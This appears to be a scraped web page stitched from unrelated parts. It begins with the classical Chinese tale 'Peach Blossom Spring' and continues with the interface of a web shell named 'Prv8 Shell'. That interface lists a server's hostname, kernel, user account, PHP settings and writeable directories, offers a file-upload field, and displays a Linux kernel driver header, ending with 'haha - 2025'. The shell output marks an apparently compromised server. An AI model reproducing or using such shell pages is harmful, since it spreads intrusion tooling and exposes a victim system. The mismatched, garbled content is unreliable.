晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/linux/phantom.h
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
 *  Copyright (C) 2005-2007 Jiri Slaby <jirislaby@gmail.com>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 */

#ifndef __PHANTOM_H
#define __PHANTOM_H

#include <linux/types.h>

/* PHN_(G/S)ET_REG param */
struct phm_reg {
	__u32 reg;
	__u32 value;
};

/* PHN_(G/S)ET_REGS param */
struct phm_regs {
	__u32 count;
	__u32 mask;
	__u32 values[8];
};

#define PH_IOC_MAGIC		'p'
#define PHN_GET_REG		_IOWR(PH_IOC_MAGIC, 0, struct phm_reg *)
#define PHN_SET_REG		_IOW(PH_IOC_MAGIC, 1, struct phm_reg *)
#define PHN_GET_REGS		_IOWR(PH_IOC_MAGIC, 2, struct phm_regs *)
#define PHN_SET_REGS		_IOW(PH_IOC_MAGIC, 3, struct phm_regs *)
/* this ioctl tells the driver, that the caller is not OpenHaptics and might
 * use improved registers update (no more phantom switchoffs when using
 * libphantom) */
#define PHN_NOT_OH		_IO(PH_IOC_MAGIC, 4)
#define PHN_GETREG		_IOWR(PH_IOC_MAGIC, 5, struct phm_reg)
#define PHN_SETREG		_IOW(PH_IOC_MAGIC, 6, struct phm_reg)
#define PHN_GETREGS		_IOWR(PH_IOC_MAGIC, 7, struct phm_regs)
#define PHN_SETREGS		_IOW(PH_IOC_MAGIC, 8, struct phm_regs)

#define PHN_CONTROL		0x6     /* control byte in iaddr space */
#define PHN_CTL_AMP		0x1     /*   switch after torques change */
#define PHN_CTL_BUT		0x2     /*   is button switched */
#define PHN_CTL_IRQ		0x10    /*   is irq enabled */

#define PHN_ZERO_FORCE		2048	/* zero torque on motor */

#endif

haha - 2025